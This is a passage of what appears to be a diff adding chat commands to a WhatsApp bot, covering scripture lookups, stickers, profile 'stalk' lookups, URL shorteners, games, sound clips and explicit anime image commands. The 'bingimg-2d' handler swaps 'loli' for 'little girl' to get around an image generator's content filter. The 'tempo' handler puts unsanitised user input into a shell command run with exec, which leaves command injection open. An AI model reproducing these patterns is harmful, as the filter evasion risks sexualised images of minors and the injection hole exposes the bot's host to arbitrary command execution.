pts + }, { quoted: m }); +} +break + + + + + + case 'bible': { + + const BASE_URL = 'https://bible-api.com' + try { + // Extract the chapter number or name from the command text. + let chapterInput = m.text.split(' ').slice(1).join('').trim() + if (!chapterInput) { + throw new Error(`Please specify the chapter number or name. Example: ${prefix + command} john 3:16`) + } + // Encode the chapterInput to handle special characters + chapterInput = encodeURIComponent(chapterInput); + // Make an API request to fetch the chapter information. + let chapterRes = await fetch(`${BASE_URL}/${chapterInput}`) + if (!chapterRes.ok) { + throw new Error(`Please specify the chapter number or name. Example: ${prefix + command} john 3:16`) + } + let chapterData = await chapterRes.json(); + let translatedChapterHindi = await translate(chapterData.text, { to: 'hi', autoCorrect: true }) + let translatedChapterEnglish = await translate(chapterData.text, { to: 'en', autoCorrect: true }) + let bibleChapter = ` +📖 *The Holy Bible*\n +📜 *Chapter ${chapterData.reference}*\n +Type: ${chapterData.translation_name}\n +Number of verses: ${chapterData.verses.length}\n +🔮 *Chapter Content (English):*\n +${translatedChapterEnglish.text}\n +🔮 *Chapter Content (Hindi):*\n +${translatedChapterHindi.text}` + let msgs = generateWAMessageFromContent(m.chat, { + viewOnceMessage: { + message: { + "messageContextInfo": { + "deviceListMetadata": {}, + "deviceListMetadataVersion": 2 + }, + interactiveMessage: proto.Message.InteractiveMessage.create({ + body: proto.Message.InteractiveMessage.Body.create({ + text: bibleChapter + }), + footer: proto.Message.InteractiveMessage.Footer.create({ + text: 'Queen_Anita-V3' + }), + header: proto.Message.InteractiveMessage.Header.create({ + hasMediaAttachment: true, + ...await prepareWAMessageMedia({ image: fs.readFileSync('./anitav3.jpg')}, { upload: David.waUploadToServer }) + }), + nativeFlowMessage: proto.Message.InteractiveMessage.NativeFlowMessage.create({ + buttons: [{ + "name": "quick_reply", + "buttonParamsJson": `{\"display_text\":\"AMEN🙏\",\"id\":\""}` + }], + }), + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '', + newsletterName: '©', + serverMessageId: 143 + } + } + }) + } + } +}, { quoted: m }) +return await David.relayMessage(m.chat, msgs.message, {}) + } catch (error) { + reply(`Error: ${error.message}`) + } + } + break + + case 'quran': { + try { + // Extract the surah number or name from the command text. + let surahInput = m.text.split(' ')[1] + if (!surahInput) { + throw new Error(`Please specify the surah number or name`) + } + let surahListRes = await fetch('https://quran-endpoint.vercel.app/quran') + let surahList = await surahListRes.json() + let surahData = surahList.data.find(surah => + surah.number === Number(surahInput) || + surah.asma.ar.short.toLowerCase() === surahInput.toLowerCase() || + surah.asma.en.short.toLowerCase() === surahInput.toLowerCase() + ) + if (!surahData) { + return reply(`Couldn't find surah with number or name "${surahInput}"`) + } + let res = await fetch(`https://quran-endpoint.vercel.app/quran/${surahData.number}`) + if (!res.ok) { + let error = await res.json(); + return reply(`API request failed with status ${res.status} and message ${error.message}`) + } + + let json = await res.json() + + // Translate tafsir from Bahasa Indonesia to Urdu + let translatedTafsirUrdu = await translate(json.data.tafsir.id, { to: 'ur', autoCorrect: true }) + + // Translate tafsir from Bahasa Indonesia to English + let translatedTafsirEnglish = await translate(json.data.tafsir.id, { to: 'en', autoCorrect: true }) + + let quranSurah = ` +🕌 *Quran: The Holy Book*\n +📜 *Surah ${json.data.number}: ${json.data.asma.ar.long} (${json.data.asma.en.long})*\n +Type: ${json.data.type.en}\n +Number of verses: ${json.data.ayahCount}\n +🔮 *Explanation (Urdu):*\n +${translatedTafsirUrdu.text}\n +🔮 *Explanation (English):*\n +${translatedTafsirEnglish.text}\n\n © ᴅᴀᴠɪᴅ ᴄʏʀɪʟ` + + reply(quranSurah) + + if (json.data.recitation.full) { + David.sendMessage(m.chat, { audio: {url: json.data.recitation.full}, mimetype: 'audio/mp4', ptt: true, fileName: `recitation.mp3`, }, {quoted: m}) + } + } catch (error) { + reply(`Error: ${error.message}`) + } + } + break + + + case 'qc': { +const { quote } = require('./lib/quote.js') +let text +if (args.length >= 1) { +text = args.slice(0).join(" ") +} else if (m?.quoted && m?.quoted.text) { +text = m?.quoted.text +} else reply("Input text or reply text that you want to make a quote!") +if (!text) return reply('Input text') +if (text.length > 30) return reply('Maximum 30 Teks!') +let ppnyauser = await await David.profilePictureUrl(m?.sender, 'image').catch(_=> 'https://telegra.ph/file/6880771a42bad09dd6087.jpg') +const rest = await quote(text, pushname, ppnyauser) +David.sendImageAsSticker(m?.chat, rest.result, m, { packname: `${global.packname}`, author: `${global.author}`}) +} +break +//=================================================// +case 'sticker': +case 'stiker': +case 's': { + if (!quoted) return reply(`Reply to an image or video with caption ${prefix + command}`); + if (/image/.test(mime)) { + const media = await quoted.download(); + await David.sendImageAsSticker(m.chat, media, m, { packname: global.packname, author: global.author }); + } else if (/video/.test(mime)) { + if ((quoted.msg || quoted).seconds > 11) return reply('Maximum 10 seconds!'); + const media = await quoted.download(); + await David.sendVideoAsSticker(m.chat, media, m, { packname: global.packname, author: global.author }); + } else { + return reply(`Send an image or video with caption ${prefix + command}. Video should be 1-9 seconds.`); + } + break; +} + +case 'stickersearch': +case 'stickerpack': { + if (!text) return reply(`❗ Example: ${prefix + command} \nE.g., ${prefix + command} comrade`); + + try { + // Notify the user about the search process + await reply(`🔍 *Searching and sending stickers...*\nPlease wait.`); + + // Fetch stickers from the API + const apiUrl = `https://www.dark-yasiya-api.site/download/sticker?text=${encodeURIComponent(text)}`; + const response = await axios.get(apiUrl); + + const { status, result } = response.data; + if (!status || !result || !result.stickers) { + return reply(`❌ No stickers found for the query: *${text}*.`); + } + + const { stickers } = result; + + // Process each sticker URL and send it as a sticker + for (const stickerUrl of stickers) { + const media = await axios.get(stickerUrl, { responseType: 'arraybuffer' }); + await David.sendImageAsSticker(m.chat, Buffer.from(media.data), m, { + packname: global.packname || 'Sticker Pack', + author: global.author || 'Sticker Bot', + }); + } + + reply(`🎉 *All stickers from the "${text}" pack have been sent!*\nEnjoy!`); + } catch (error) { + console.error('Error fetching stickers:', error.message); + reply(`❌ An error occurred while fetching stickers. Please try again.`); + } + break; +} + +case 'instagramstalk': case 'igstalk': { + if (!text) return reply('Please provide a username.\nExample: .igstalk davido'); + + const username = text.trim(); // Extract the username + const isLowercase = /^[a-z0-9_.]+$/.test(username); // Validate for lowercase and valid Instagram usernames + + // Reject input if it contains uppercase letters or invalid characters + if (!isLowercase) { + return reply('Please use lowercase letters only for the username.\nExample: .igstalk davido'); + } + + try { + const apiKey = 'gifted-md'; // API key + const apiUrl = `https://api.giftedtech.my.id/api/stalk/igstalkv2?apikey=${apiKey}&username=${username}`; + + // Fetch Instagram details + const response = await axios.get(apiUrl); + + if (response.data.status === 200 && response.data.success) { + const { profile, username, fullName, bio, posts, followers, following } = response.data.result; + + // Construct the reply message + const message = `*Instagram Stalker*\n\n` + + `🔹 *Username:* ${username}\n` + + `🔹 *Full Name:* ${fullName}\n` + + `🔹 *Bio:* ${bio}\n` + + `🔹 *Posts:* ${posts}\n` + + `🔹 *Followers:* ${followers}\n` + + `🔹 *Following:* ${following}`; + + // Send the response with profile picture + David.sendMessage(from, { + caption: message, + image: { url: profile } + }, { quoted: qsal }); + } else { + // Handle unsuccessful response + reply(`Failed to fetch details for username "${username}".\nReason: ${response.data.message || 'Unknown error.'}`); + } + } catch (error) { + // Handle specific errors without logging to console + if (error.response) { + reply(`API Error: ${error.response.data.message || 'Unknown API error.'}`); + } else if (error.request) { + reply('No response received from the API. Please try again later.'); + } else { + reply(`An error occurred: ${error.message}`); + } + } + break; +} + +case 'bitly': { + if (!args[0]) return m.reply('Please provide a URL to shorten.'); + let apiUrl = `https://apis.davidcyriltech.my.id/bitly?link=${encodeURIComponent(args[0])}`; + + try { + let response = await fetch(apiUrl); + let jsonData = await response.json(); + if (jsonData.success) { + m.reply(`🔗 *Shortened URL:* ${jsonData.shortened_url}`); + } else { + m.reply('Failed to shorten URL using Bitly.'); + } + } catch (error) { + console.error(error); + m.reply('Error processing your request.'); + } +} +break; + +case 'shorturl': { + if (!args[0]) return m.reply('Please provide a URL to shorten.'); + let apiUrl = `https://apis.davidcyriltech.my.id/shorten?url=${encodeURIComponent(args[0])}`; + + try { + let response = await fetch(apiUrl); + let jsonData = await response.json(); + if (jsonData.success) { + m.reply(`🔗 *Shortened URL:* ${jsonData.shortUrl}`); + } else { + m.reply('Failed to shorten URL using TinyURL.'); + } + } catch (error) { + console.error(error); + m.reply('Error processing your request.'); + } +} +break; + +case 'cuttly': { + if (!args[0]) return m.reply('Please provide a URL to shorten.'); + let apiUrl = `https://apis.davidcyriltech.my.id/cuttly?link=${encodeURIComponent(args[0])}`; + + try { + let response = await fetch(apiUrl); + let jsonData = await response.json(); + if (jsonData.success) { + m.reply(`🔗 *Shortened URL:* ${jsonData.shortened_url}`); + } else { + m.reply('Failed to shorten URL using Cutt.ly.'); + } + } catch (error) { + console.error(error); + m.reply('Error processing your request.'); + } +} +break; + + + +case 'truth': { + try { + const apiUrl = 'https://apis.davidcyriltech.my.id/truth'; // Updated API URL + const imagePath = 'https://files.catbox.moe/dmgo7t.jpg'; // Path to the local image + const userTag = `@${m.sender.split('@')[0]}`; // Format the tag using the user's number + + + const response = await axios.get(apiUrl); + + if (response.data.status === 200 && response.data.success) { + const truthQuestion = response.data.question; + + + David.sendMessage(from, { + image: { url: imagePath }, + caption: `${userTag}, you chose *TRUTH*!\n\n*Question:* ${truthQuestion}\n\n*ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ*`, + mentions: [m.sender], + }, { quoted: m }); + } else { + + reply('Failed to fetch a truth question. Please try again later.'); + } + } catch (error) { + + if (error.response) { + reply(`API Error: ${error.response.data.message || 'Unknown API error.'}`); + } else if (error.request) { + reply('No response received from the API. Please try again later.'); + } else { + reply(`An error occurred: ${error.message}`); + } + } + break; +} + +case 'dare': { + try { + const apiUrl = `https://api.truthordarebot.xyz/v1/dare`; + const imagePath = 'https://files.catbox.moe/dmgo7t.jpg'; // Path to the local image + const userTag = `@${m.sender.split('@')[0]}`; // Format the tag with the user's number + + // Fetch a random dare question + const response = await axios.get(apiUrl); + + if (response.status === 200 && response.data.type === "DARE") { + const dareQuestion = response.data.question; // Get the dare question + + // Send the dare question with the local image and proper tagging + await David.sendMessage(m.chat, { + image: { url: imagePath }, // Use local image + caption: `${userTag}, you chose *DARE😈*!\n\n*I Dare You To:*\n\n ${dareQuestion}\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`, + mentions: [m.sender], // Tag the person who requested the dare + }, { quoted: m }); + } else { + reply('Failed to fetch a dare question. Please try again later.'); + } + } catch (error) { + console.error('Error in Dare command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + break; +} + + case 'petgif': { + try { + let imageUrl; + + // Check if the command is replying to an image + if (/image/.test(mime)) { + const mediaPath = await David.downloadAndSaveMediaMessage(quoted); + const uploadResponse = await uploadToImgur(mediaPath); // Use the Imgur upload function + if (uploadResponse.status !== "success") { + fs.unlinkSync(mediaPath); // Clean up the downloaded file + return reply(`*UPLOAD ERROR!! MESSAGE :*\n\n> ${uploadResponse.message}`); + } + imageUrl = uploadResponse.fileUrl; // Get the uploaded image URL + fs.unlinkSync(mediaPath); // Clean up the downloaded file + } + // Check if a user is mentioned + else if (m.message.extendedTextMessage && m.message.extendedTextMessage.contextInfo && m.message.extendedTextMessage.contextInfo.mentionedJid) { + const mentionedJid = m.message.extendedTextMessage.contextInfo.mentionedJid[0]; + imageUrl = await David.profilePictureUrl(mentionedJid, 'image').catch(() => 'https://cdn.popcat.xyz/avatar.png'); + } + // If no valid input, send an error message + else { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image or mention a user with .petgif to create a petting GIF*`); + } + + // Call the Pet GIF API + const apiResponse = await axios.get(`https://api.popcat.xyz/pet`, { + params: { image: imageUrl } + }); + + if (apiResponse.status === 200) { + const petGifUrl = apiResponse.request.res.responseUrl; // The URL of the generated pet GIF + + // Send the petting GIF back to the user + await David.sendMessage(m.chat, { + video: { url: petGifUrl }, + mimetype: 'video/mp4', + caption: `*Petting GIF Generated Successfully!* 🐾` + }, { quoted: m }); + } else { + reply(`*PET GIF ERROR!! MESSAGE :*\n\n> Failed to create a petting GIF. Try again.`); + } + } catch (error) { + console.error('Error in Petgif command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + break; +} + + +case 'take': { +if (!m?.quoted) return reply('Reply with a sticker!') +let stiker = false +try { +let [packname, ...author] = text.split('|') +author = (author || []).join('|') +let mime = m?.quoted.mimetype || '' +if (!/webp/.test(mime)) throw 'Reply with a sticker!' +let img = await m?.quoted.download() +if (!img) throw 'Failed to download sticker!' +stiker = await addExif(img, packname || global.packname, author || global.author ) +} catch (e) { +console.error(e) +if (Buffer.isBuffer(e)) stiker = e +else throw 'An error occurred: ' + e +} finally { +if (stiker) David.sendFile(m?.chat, stiker, 'wms.webp', '', m, false, { asSticker: true }) +else throw 'Conversion failed' +} +} +break + +case 'alert': { + if (!text) { + return reply(`*Usage:* .alert \n\n*Example:* .alert This is an alert!`); + } + + try { + // Call the Alert API with the user's query + const apiResponse = await axios.get(`https://api.popcat.xyz/alert`, { + params: { text } + }); + + if (apiResponse.status === 200) { + const alertImageUrl = apiResponse.request.res.responseUrl; // The URL of the generated alert image + + // Send the alert image back to the user + await David.sendMessage(m.chat, { + image: { url: alertImageUrl }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`, + }, { quoted: m }); + } else { + reply(`*ALERT GENERATION ERROR!! MESSAGE :*\n\n> Failed to generate an alert image. Try again.`); + } + } catch (error) { + console.error('Error in Alert command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + break; +} + +case 'listblock':{ +if (!isCreator) return reply(`For My Owner Only`); +let block = await David.fetchBlocklist() +reply('List Block :\n\n' + `Total : ${block == undefined ? '*0* Blocked' : '*' + block.length + '* Blocked'}\n` + block.map(v => '• ' + v.replace(/@.+/, '')).join`\n`) +} +break + + +case 'genshin': + case 'swimsuit': + case 'schoolswimsuit': + case 'white': + case 'barefoot': + case 'touhou': + case 'gamecg': + case 'hololive': + case 'uncensored': + case 'sungglasses': + case 'glasses': + case 'weapon': + case 'shirtlift': + case 'chain': + case 'fingering': + case 'flatchest': + case 'torncloth': + case 'bondage': + case 'demon': + case 'pantypull': + case 'headdress': + case 'headphone': + case 'anusview': + case 'shorts': + case 'stokings': + case 'topless': + case 'beach': + case 'bunnygirl': + case 'bunnyear': + case 'vampire': + case 'nobra': + case 'bikini': + case 'whitehair': + case 'blonde': + case 'pinkhair': + case 'bed': + case 'ponytail': + case 'nude': + case 'dress': + case 'underwear': + case 'foxgirl': + case 'uniform': + case 'skirt': + case 'breast': + case 'twintail': + case 'spreadpussy': + case 'seethrough': + case 'breasthold': + case 'fateseries': + case 'spreadlegs': + case 'openshirt': + case 'headband': + case 'nipples': + case 'erectnipples': + case 'greenhair': + case 'wolfgirl': + case 'catgirl': { + try { + // Fetch data from the API + let res = await fetch(`https://fantox-apis.vercel.app/${command}`); + if (!res.ok) throw `API error: ${res.status}`; + + // Parse JSON response + let json = await res.json(); + if (!json.url) throw `No URL found in the API response.`; + + // Fetch image buffer from the URL + let imageRes = await fetch(json.url); + if (!imageRes.ok) throw `Failed to fetch image: ${imageRes.status}`; + let buffer = await imageRes.buffer(); + + // Send the image using your bot's sendFile function + await David.sendFile( + m.chat, + buffer, + 'image.jpg', + `*ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ*`, + m + ); + } catch (error) { + console.error(error); + reply(`An error occurred: ${error.message || error}`); + } + break; +} + + + + +case 'smeme': { +let respond = `Send/reply image/sticker with caption ${prefix + command} text1|text2` +if (!/image/.test(mime)) return reply(respond) +if (!text) return reply(respond) +try { +atas = text.split('|')[0] ? text.split('|')[0] : '-' +bawah = text.split('|')[1] ? text.split('|')[1] : '-' +let dwnld = await David.downloadAndSaveMediaMessage(qmsg) +let fatGans = await TelegraPH(dwnld) +let smeme = `https://api.memegen.link/images/custom/${encodeURIComponent(bawah)}/${encodeURIComponent(atas)}.png?background=${fatGans}` +let FaTiH = await David.sendImageAsSticker(m?.chat, smeme, m, { packname: global.packname, author: global.auhor }) +await fs.unlinkSync(FaTiH) +} catch (e) { +} +} +break + +case 'imgsearch': case 'img': { + if (!text) { + return reply(`*Usage:* .bingimg \n\n*Example:* .img cat`); + } + + try { + // Call the Bing Image Search API + const apiResponse = await axios.get(`https://api.siputzx.my.id/api/s/bimg`, { + params: { query: text } + }); + + if (apiResponse.status === 200 && apiResponse.data.status) { + const images = apiResponse.data.data; + + if (images.length === 0) { + return reply(`No images found for "${text}". Please try another query.`); + } + + // Send up to 5 images + const maxImages = Math.min(images.length, 5); + for (let i = 0; i < maxImages; i++) { + await David.sendMessage(m.chat, { + image: { url: images[i] }, + caption: `🔎Image Search\n\n📄 Query: "${text}"\n📷 Image ${i + 1}/${maxImages}\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`, + }, { quoted: m }); + } + } else { + reply(`*ERROR!! MESSAGE :*\n\n> Failed to fetch images. Try again.`); + } + } catch (error) { + console.error('Error in Image Search command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + break; +} + + +case "bingimg-2d": { +if (!text) return reply("[ ! ] Enter the image prompt you want to create"); +let teksu = text.replace(/loli/gi, "little girl"); +try { +const { BingApi, apikeybing } = require('./lib/bing-image.js'); +const bingApi = new BingApi(apikeybing); +const imagesUrls = await bingApi.createImages(teksu + ". Anime Style ultra, HD Anime Style, 4K Anime Style, Anime Style, High quality, Ultra grapics, HD Cinematic, anime, 4K resolution, HD quality, Ultra CGI, High quality, Ultra grapics, HD Cinematic", false); +const totalCount = imagesUrls.length; +const credits = await bingApi.getCredits(); + +if (totalCount > 0) { +for (let i = 0; i < totalCount; i++) { +try { +await new Promise(resolve => setTimeout(resolve, i * 6000)); +David.sendMessage(m?.chat, { image: { url: imagesUrls[i] }, caption: `Image *(${i + 1}/${totalCount})*\n\nRemaining Credits: ${credits}\nPrompt: ${text}` }, { quoted:fsaluran }); +} catch (error) { +console.error(`Error sending file: ${error.message}`); +await reply(`Failed to send image *(${i + 1}/${totalCount})*`); +} +} +} else { +await reply('No images found after filtering.'); +} +} catch (error) { +await reply('An error occurred while processing the request.'); +} +}; +break + + + + + case 'delete': case 'del': case 'd':{ + + + let key = {} + try { + key.remoteJid = m.quoted ? m.quoted.fakeObj.key.remoteJid : m.key.remoteJid + key.fromMe = m.quoted ? m.quoted.fakeObj.key.fromMe : m.key.fromMe + key.id = m.quoted ? m.quoted.fakeObj.key.id : m.key.id + key.participant = m.quoted ? m.quoted.fakeObj.participant : m.key.participant + } catch (e) { + console.error(e) + } + David.sendMessage(m.chat, { delete: key }) +} +break + +case 'leavegc': { +if (!isCreator) return reply('`This Command Is For My Owner Only`') +await David.groupLeave(m.chat) +await reply('`Done!`') + } + break + +case "gptgo": { +if (!text) return reply (`*Example : ${prefix + command} Hello*`) +var js = await fetch(`https://widipe.com/gptgo?text=${q}`) +var json = await js.json() +let que = "`" +reply(`${que}Gpt-Go${que}\n\n ${json.result}`) +} +break + + + + +case 'alive': +reply('Hi QUEEN_ANITA-V4 is Online') +break + + + + + + + +case 'nevo':{ +if (!text) return reply('What do you want to ask?') +let dataa = await fetchJson(`https://ai.nevolution.team/nevo?apikey=akbarrdev&prompt=${text}`) +let unvo = dataa.response +reply(unvo) +} +break + + +case 'npmstalk':{ +if (!q) return reply(`Example ${prefix+command} xeonapi`) + +let npmstalk = require('./lib/scraper') +eha = await npmstalk.npmstalk(q) +reply(`*/ Npm Stalker \\* + +Name : ${eha.name} +Version Latest : ${eha.versionLatest} +Version Publish : ${eha.versionPublish} +Version Update : ${eha.versionUpdate} +Latest Dependencies : ${eha.latestDependencies} +Publish Dependencies : ${eha.publishDependencies} +Publish Time : ${eha.publishTime} +Latest Publish Time : ${eha.latestPublishTime}`) +} +break + + + case "tagall": + if (!m.isGroup) return reply('ɢʀᴏᴜᴘ ᴏɴʟʏ'); + if (!isBotAdmins) return reply('ʙᴏᴛ ɴᴏᴛ ʏᴇᴛ ᴀᴅᴍɪɴ'); + if (!isAdmins) return reply('ғᴏʀ ɢʀᴏᴜᴘ ᴀᴅᴍɪɴ ᴏɴʟʏ'); + +let teks = `〘 *Tag All* 〙 + •• *Message : ${q ? q : 'empty'}* ••\n\n` +for (let mem of participants) { +teks += `☌ @${mem.id.split('@')[0]}\n` +} +David.sendMessage(m.chat, { text: teks, mentions: participants.map(a => a.id) }, { quoted: m}) +break + + + + +case 'ffstalk': { + if (!args[0]) return reply('❌ Please provide a Free Fire ID. Example: .ffstalk 8533270051'); + + const ffId = args[0]; + const apiUrl = `https://apis.davidcyriltech.my.id/ffstalk?id=${ffId}`; + + try { + await David.sendMessage(m?.chat, {react: {text: `🔍`,key: m?.key,}}) + + const response = await axios.get(apiUrl); + const data = response.data; + + if (!data.success) return reply('❌ Failed to fetch data. Please check the ID and try again.'); + + // Extract account details + const { + name, level, xp, region, likes, created_at, last_login, honor_score, + booyah_pass, BR_points, CS_points + } = data.account; + + const guild = data.guild ? `\n🏴 Guild: ${data.guild.name} (Level: ${data.guild.level})` : ''; + + const message = ` +🎮 *Free Fire Profile* 🎮 +━━━━━━━━━━━━━━━━━ +👤 *Name:* ${name} +🆔 *ID:* ${ffId} +⭐ *Level:* ${level} (XP: ${xp}) +🌍 *Region:* ${region} +👍 *Likes:* ${likes} +📅 *Created:* ${created_at} +⏳ *Last Login:* ${last_login} +🛡 *Honor Score:* ${honor_score} +🔥 *Booyah Pass:* ${booyah_pass} +🏆 *Battle Royale Points:* ${BR_points} +⚔️ *Clash Squad Points:* ${CS_points} +${guild} +━━━━━━━━━━━━━━━━━ + `; +await David.sendMessage(m?.chat, {react: {text: `✅`,key: m?.key,}}) + + reply(message); + } catch (error) { + console.error('FF Stalk Error:', error); + reply('❌ An error occurred while fetching data. Please try again later.'); + } + break; +} + + + + + case 'sound1': +case 'sound2': +case 'sound3': +case 'sound4': +case 'sound5': +case 'sound6': +case 'sound7': +case 'sound8': +case 'sound9': +case 'sound10': +case 'sound11': +case 'sound12': +case 'sound13': +case 'sound14': +case 'sound15': +case 'sound16': +case 'sound17': +case 'sound18': +case 'sound19': +case 'sound20': +case 'sound21': +case 'sound22': +case 'sound23': +case 'sound24': +case 'sound25': +case 'sound26': +case 'sound27': +case 'sound28': +case 'sound29': +case 'sound30': +case 'sound31': +case 'sound32': +case 'sound33': +case 'sound34': +case 'sound35': +case 'sound36': +case 'sound37': +case 'sound38': +case 'sound39': +case 'sound40': +case 'sound41': +case 'sound42': +case 'sound43': +case 'sound44': +case 'sound45': +case 'sound46': +case 'sound47': +case 'sound48': +case 'sound49': +case 'sound50': +case 'sound51': +case 'sound52': +case 'sound53': +case 'sound54': +case 'sound55': +case 'sound56': +case 'sound57': +case 'sound58': +case 'sound59': +case 'sound60': +case 'sound61': +case 'sound62': +case 'sound63': +case 'sound64': +case 'sound65': +case 'sound66': +case 'sound67': +case 'sound68': +case 'sound69': +case 'sound70': +case 'sound71': +case 'sound72': +case 'sound73': +case 'sound74': +case 'sound75': +case 'sound76': +case 'sound77': +case 'sound78': +case 'sound79': +case 'sound80': +case 'sound81': +case 'sound82': +case 'sound83': +case 'sound84': +case 'sound85': +case 'sound86': +case 'sound87': +case 'sound88': +case 'sound89': +case 'sound90': +case 'sound91': +case 'sound92': +case 'sound93': +case 'sound94': +case 'sound95': +case 'sound96': +case 'sound97': +case 'sound98': +case 'sound99': +case 'sound100': +case 'sound101': +case 'sound102': +case 'sound103': +case 'sound104': +case 'sound105': +case 'sound106': +case 'sound107': +case 'sound108': +case 'sound109': +case 'sound110': +case 'sound111': +case 'sound112': +case 'sound113': +case 'sound114': +case 'sound115': +case 'sound116': +case 'sound117': +case 'sound118': +case 'sound119': +case 'sound120': +case 'sound121': +case 'sound122': +case 'sound123': +case 'sound124': +case 'sound125': +case 'sound126': +case 'sound127': +case 'sound128': +case 'sound129': +case 'sound130': +case 'sound131': +case 'sound132': +case 'sound133': +case 'sound134': +case 'sound135': +case 'sound136': +case 'sound137': +case 'sound138': +case 'sound139': +case 'sound140': +case 'sound141': +case 'sound142': +case 'sound143': +case 'sound144': +case 'sound145': +case 'sound146': +case 'sound147': +case 'sound148': +case 'sound149': +case 'sound150': +case 'sound151': +case 'sound152': +case 'sound153': +case 'sound154': +case 'sound155': +case 'sound156': +case 'sound157': +case 'sound158': +case 'sound159': +case 'sound160': +case 'sound161': +case 'mangkane1': +case 'mangkane2': +case 'mangkane3': +case 'mangkane4': +case 'mangkane5': +case 'mangkane6': +case 'mangkane7': +case 'mangkane8': +case 'mangkane9': +case 'mangkane10': +case 'mangkane11': +case 'mangkane12': +case 'mangkane13': +case 'mangkane14': +case 'mangkane15': +case 'mangkane16': +case 'mangkane17': +case 'mangkane18': +case 'mangkane19': +case 'mangkane20': +case 'mangkane21': +case 'mangkane22': +case 'mangkane23': +case 'mangkane24': +case 'mangkane25': +case 'mangkane26': +case 'mangkane27': +case 'mangkane28': +case 'mangkane29': +case 'mangkane30': +case 'mangkane31': +case 'mangkane32': +case 'mangkane33': +case 'mangkane34': +case 'mangkane35': +case 'mangkane36': +case 'mangkane37': +case 'mangkane38': +case 'mangkane39': +case 'mangkane40': +case 'mangkane41': +case 'mangkane42': +case 'mangkane43': +case 'mangkane44': +case 'mangkane45': +case 'mangkane46': +case 'mangkane47': +case 'mangkane48': +case 'mangkane49': +case 'mangkane50': +case 'mangkane51': +case 'mangkane52': +case 'mangkane53': +case 'mangkane54': +case 'acumalaka': +case 'reza-kecap': +case 'farhan-kebab': +case 'omaga': +case 'kamu-nanya': +case 'anjay': +case 'siuu': +viot = 'https://telegra.ph/file/2c1f6c598eab67b0f8ffa.jpg' +thumb = 'https://telegra.ph/file/2c1f6c598eab67b0f8ffa.jpg' +let sound +if (/sound/.test(command)) sound = `https://github.com/DGXeon/Tiktokmusic-API/raw/master/tiktokmusic/${command}.mp3` +if (/mangkane/.test(command) && command.replace('mangkane', '') < 25) sound = `https://raw.githubusercontent.com/hyuura/Rest-Sound/main/HyuuraKane/${command}.mp3` +if (/mangkane/.test(command) && command.replace('mangkane', '') > 24) sound = `https://raw.githubusercontent.com/aisyah-rest/mangkane/main/Mangkanenya/${command}.mp3` +if (/acumalaka|reza-kecap|farhan-kebab|omaga|omaga|kamu-nanya|anjay|siuu/.test(command)) sound = `https://github.com/FahriAdison/Base-Sound/raw/main/audio/${command}.mp3` +if (text.toLowerCase() === 'thumb') { +await David.sendMessage(m.chat, {audio: {url: sound}, mimetype: 'audio/mpeg', ptt: false, +contextInfo: { +externalAdReply: { +mediaUrl: 'https://whatsapp.com/channel/0029VaeRru3ADTOEKPCPom0L', +mediaType: 2, +title: ' ⇆ㅤ ||◁ㅤ❚❚ㅤ▷||ㅤ ↻ ', +body: ' ━━━━⬤────────── ', +description: 'Now Playing...', +mediaType: 2, +sourceUrl: 'https://whatsapp.com/channel/0029VaeRru3ADTOEKPCPom0L', +thumbnail: await (await fetch(viot)).buffer(), +renderLargerThumbnail: true}}}, {quoted: m}) +} else await Finisher.sendMessage(m.chat, {audio: {url: sound}, mimetype: 'audio/mpeg', ptt: false}, {quoted: m}) +break + + + + + +case 'delcase': { + if (!isCreator) return reply('Only the creator can delete a case..'); + if (!text) return reply('Which case do you want to delete?'); + + // Nama file yang akan dimodifikasi + const namaFile = './QUEEN_ANITA-V4.js'; + + // Case yang ingin Anda hapus + const caseToDelete = `case '${text}':`; + + // Baca isi file + fs.readFile(namaFile, 'utf8', (err, data) => { + if (err) { + console.error('An error occurred while reading the file:', err); + return reply('An error occurred while reading the file..'); + } +const posisiCase = data.indexOf(caseToDelete); + if (posisiCase === -1) { + return reply(`Case '${args}' not found in file.`); + } + + // Cari posisi break; berikutnya seAlready case + const posisiBreak = data.indexOf('break;', posisiCase); + if (posisiBreak === -1) { + return reply('Could not find "break;" Already case you want to delete.'); + } + + // Potong data untuk deleting case + const kodeBaruLengkap = data.slice(0, posisiCase) + data.slice(posisiBreak + 'break;'.length); +fs.writeFile(namaFile, kodeBaruLengkap, 'utf8', (err) => { + if (err) { + console.error('An error occurred while writing the file:', err); + return reply('An error occurred while writing the file.'); + } else { + return reply(`Case '${text}' Succeed deleted.`); + } + }); + }); + } + break; + + + + case 'tempo': { + + if (!args.join(" ")) return reply(`Example: ${prefix + command} 10`) + var req = args.join(' ') + media = await David.downloadAndSaveMediaMessage(quoted, "tempo") + if (isQuotedAudio) { + ran = getRandom('.mp3') + exec(`ffmpeg -i ${media} -filter:a "atempo=1.0,asetrate=${req}" ${ran}`, (err, stderr, stdout) => { + fs.unlinkSync(media) + if (err) return reply('Error!') + hah = fs.readFileSync(ran) + David.sendMessage(from, { audio: hah, mimetype: 'audio/mp4', ptt: true }, { quoted: m }) + fs.unlinkSync(ran) + }) + } else if (isQuotedVideo) { + ran = getRandom('.mp4') + exec(`ffmpeg -i ${media} -filter:a "atempo=1.0,asetrate=${req}" ${ran}`, (err, stderr, stdout) => { + fs.unlinkSync(media) + if (err) return reply('Error!') + hah = fs.readFileSync(ran) + David.sendMessage(from, { video: hah, mimetype: 'video/mp4' }, { quoted: m }) + 